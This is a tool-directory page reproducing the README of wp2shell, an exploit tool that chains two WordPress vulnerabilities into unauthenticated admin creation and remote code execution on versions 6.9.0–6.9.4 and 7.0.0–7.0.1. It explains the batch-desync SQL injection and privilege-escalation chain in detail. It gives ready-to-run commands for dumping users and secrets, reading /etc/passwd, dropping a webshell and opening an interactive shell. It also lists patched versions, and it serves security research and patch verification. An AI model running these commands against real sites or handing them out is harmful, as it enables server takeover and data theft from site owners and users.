Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wp2shell — PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell | Kitploit
Tools/GitHubGitHub/crypto-cat/wp2shell
Vulnerability ScannersCode AnalysisExploitationWeb SecurityLearning & Education
GitHubcrypto-cat/wp2shell

wp2shell

PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell

View Repository
31 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wp2shell

Pre-authentication remote code execution for WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1.

Chains CVE-2026-63030 (batch route confusion SQLi) with CVE-2026-60137 (customizer changeset re-entry) to achieve unauthenticated administrator creation and OS command execution. No password cracking required.

wp2shell demo

Props to hashkitten for the discovery, read the full SLCyber technical analysis here.

The Vulnerability

WordPress's REST API batch processor (serve_batch_request_v1) has an off-by-one indexing bug: when wp_parse_url() fails on a sub-request path, the resulting WP_Error is pushed to $validation[] but not $matches[]. This desynchronizes the two arrays — every subsequent request is dispatched under the wrong handler.

By nesting a carefully structured batch inside another batch, an attacker can:

  1. Route a request validated by one endpoint's schema through a completely different endpoint's callback
  2. Inject unsanitized SQL through author__not_in (the string→array cast skips absint())
  3. Use UNION SELECT to poison WordPress's object cache with fake post objects
  4. Trigger a changeset auto-publish that elevates privileges, then re-enter the REST API with admin context

Once setup is complete (discovering table prefix and admin ID), the escalation payload fires in a single HTTP request — cache poisoning, privilege escalation, and user creation all happen server-side in one round-trip.

How the Chain Works

root@kitploit:~
HTTP POST /batch/v1
    │
    ▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                  → parse error, not added to $matches      │
│  [1] POST /wp/v2/posts    → $matches[0] (posts handler)             │
│  [2] POST /batch/v1       → $matches[1] (batch handler)             │
│                                                                     │
│  Desync: request[1] dispatched via $matches[1]                      │
│          POST /wp/v2/posts body interpreted as batch → inner fires  │
│                                                                     │
└──────────────────────────────────────┬──────────────────────────────┘
                                       │
    ┌──────────────────────────────────┘
    ▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│                                                                     │
│  [0] ///                            → parse error (desync)          │
│  [1] GET  /wp/v2/widgets?UNION...   → dispatched by posts handler   │
│          ▲ WP_Query fires UNION, poisons object cache               │
│          ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1  │
│              → changeset published → admin context set              │
│              → nav_menu_item UPDATE → hierarchy Loop 2              │
│                  → parse_request → REST re-entry ─────────────┐     │
│                                                               │     │
│  [2] GET  /wp/v2/posts              (categories handler)      │     │
│  [3] GET  /wp/v2/categories         (users handler)           │     │
│  [4] POST /wp/v2/users  {body}  ◄── re-entry with admin ──────┘     │
│          ▲ desync aligns this with users handler                    │
│          ▲ admin context → user created → die()                     │
│  [5] POST /wp/v2/users  {}          (desync spacer)                 │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

Cache Poisoning (7 fake posts via UNION):

  • A trigger post with an [embed] shortcode in its content
  • A changeset post (customize_changeset, status future, date in past)
  • An outer loop partner (parent=changeset, creating Loop 1)
  • An oEmbed target (dynamic anti-recursion ID, parent=changeset, empty content)
  • A nav menu item post (poisoned as post_type=nav_menu_item for the is_nav_menu_item check)
  • A re-entry post (post_type=request, post_status=parse, parent=inner)
  • An inner loop partner (parent=re-entry, creating Loop 2)

Execution Flow:

  1. UNION poisons the object cache with all 7 fake posts
  2. Posts handler renders the trigger post's content → [embed] shortcode fires
  3. oEmbed cache lookup finds a backing post with empty content → falls through to wp_update_post
  4. wp_update_post reads the cached changeset (parent=outer) → hierarchy check detects Loop 1
  5. Fix-up writes changeset to DB with future status → auto-converts to publish
  6. _wp_customize_publish_changeset fires → wp_set_current_user(admin_id) → admin context active
  7. Changeset processes nav_menu_item[real_id] — cache says type=nav_menu_item → UPDATE path
  8. object_id resolves to a cached post with post_parent=re-entry → wp_update_post on real post
  9. Hierarchy check (non-zero $post_id) detects Loop 2 (re-entry ↔ inner)

An anti-recursion MySQL session variable (@_wp2s) ensures the chain fires exactly once and doesn't loop.

Features

  • Three extraction modes with auto-detection: UNION (1 request/value), error-based via EXTRACTVALUE (~30 chars/request), boolean-blind binary search (~7 requests/char)
  • Full pre-auth RCE — no credentials, no cracking, escalation fires in a single round-trip
  • Auto-discovery — table prefix via INFORMATION_SCHEMA, admin user ID via capabilities meta
  • Post-exploitation — plugin webshell with token auth, CWD-tracking interactive shell, file read/write
  • Cleanup mode — --cleanup deletes the created user and removes the webshell on exit
  • Zero dependencies — stdlib only, single file, runs on Python 3.8+

Installation

root@kitploit:~
git clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

No pip install, no virtualenv. It's one file.

Usage

Check if a target is vulnerable

root@kitploit:~
# Passive boolean oracle test
python3 wp2shell.py check http://target.com

# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union

Extract data

root@kitploit:~
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"

# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users

# Auto-discover table prefix
python3 wp2shell.py read http://target.com --auto-prefix --preset users

Full exploitation

root@kitploit:~
# Exploit and drop into interactive shell
python3 wp2shell.py exploit http://target.com -i

# Exploit, run one command, clean up
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup

# Skip auto-discovery if you know the prefix
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i

# Through a proxy (Burp, mitmproxy, etc.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i

Authenticated shell (with existing credentials)

root@kitploit:~
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i

Requirements for Full RCE

The check and read commands work on any affected target. The exploit chain has three additional requirements:

If the target uses Redis or Memcached as an object cache, split_the_query is forced on regardless of per_page, and UNION rows get discarded during the ID-only fetch. The read command still works (blind extraction doesn't need UNION to survive into the cache), but exploit will fail.

Affected Versions

BranchVulnerableFixed
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2

The patch adds $matches[] = $single_request; for error cases (fixing the off-by-one) and a re-entry guard in serve_request().

Architecture

root@kitploit:~
wp2shell.py (single file, ~1650 lines)
├── Client          HTTP transport with batch URL negotiation
├── Desync          Nested batch payload construction
├── BlindExtractor  Boolean binary search (universal)
├── UnionExtractor  In-band via forged post_title (fastest)
├── ErrorExtractor  EXTRACTVALUE-based (intermediate)
├── PoisonGraph     Hierarchy loop structure for cache poisoning
├── Exploiter       Chain orchestration (seed → extract → escalate)
└── AdminSession    Authenticated session, webshell, cleanup

Technical Details

Why /wp/v2/widgets as the source route?

The Widgets controller does not register per_page, orderby, or author_exclude in its endpoint schema. These parameters pass validation untouched (unknown params are ignored by the schema validator). When the desync dispatches this request through the Posts controller, those raw values flow directly into WP_Query.

Why per_page=500?

class-wp-query.php:3375 — split_the_query requires !empty($limits) && posts_per_page < 500. With per_page=500, the condition 500 < 500 is false, so split_the_query is disabled. The full query (including UNION) executes as a single statement, and all injected rows survive into the result set and cache.

Why nav_menu_item[real_id] (positive ID)?

Using a positive post ID enters the UPDATE path at nav-menu.php:614, which calls wp_update_post with a non-zero $post_id. This is critical because wp_check_post_hierarchy_for_loops at post.php:8070 returns early when $post_id = 0 (new posts). The cache is poisoned with post_type=nav_menu_item for that ID so is_nav_menu_item() passes the type check at nav-menu.php:426. The UPDATE path then triggers the hierarchy check that detects Loop 2.

Why two hierarchy loops?

Loop 1 (changeset ↔ outer) triggers the changeset publish and sets admin context. Loop 2 (re-entry ↔ inner) fires during the admin window (inside the nav menu item setting's save() call in the changeset publish loop) and triggers parse_request → REST re-entry. The loops are independent because Loop 2's fix-up must write the re-entry post to DB during the admin window at line 3581 — before the reset at line 3589.

Disclaimer

This tool is published for authorized security testing and research purposes. Only use it against systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal.

Credits

Research and development by CryptoCat.

Download Tool
  • Fix-up calls wp_update_post(re-entry) → writes type=request, status=parse to DB
  • wp_transition_post_status fires do_action("parse_request") → rest_api_loaded() → serve_request()
  • REST API re-enters, re-processes the entire batch with admin privileges
  • POST /wp/v2/users in the tail succeeds → administrator created → die()
  • RequirementWhyDefault WP?
    At least one published postoEmbed needs a local URL to trigger embed processingYes (Hello World)
    No persistent object cacheSplit-the-query must be disabled for UNION rows to surviveYes (file cache default)
    REST API accessibleRe-entry via parse_request needs the REST serverYes
    Direct filesystem writePlugin upload needs FS_METHOD=direct or PHP owning wp-contentYes (most hosts)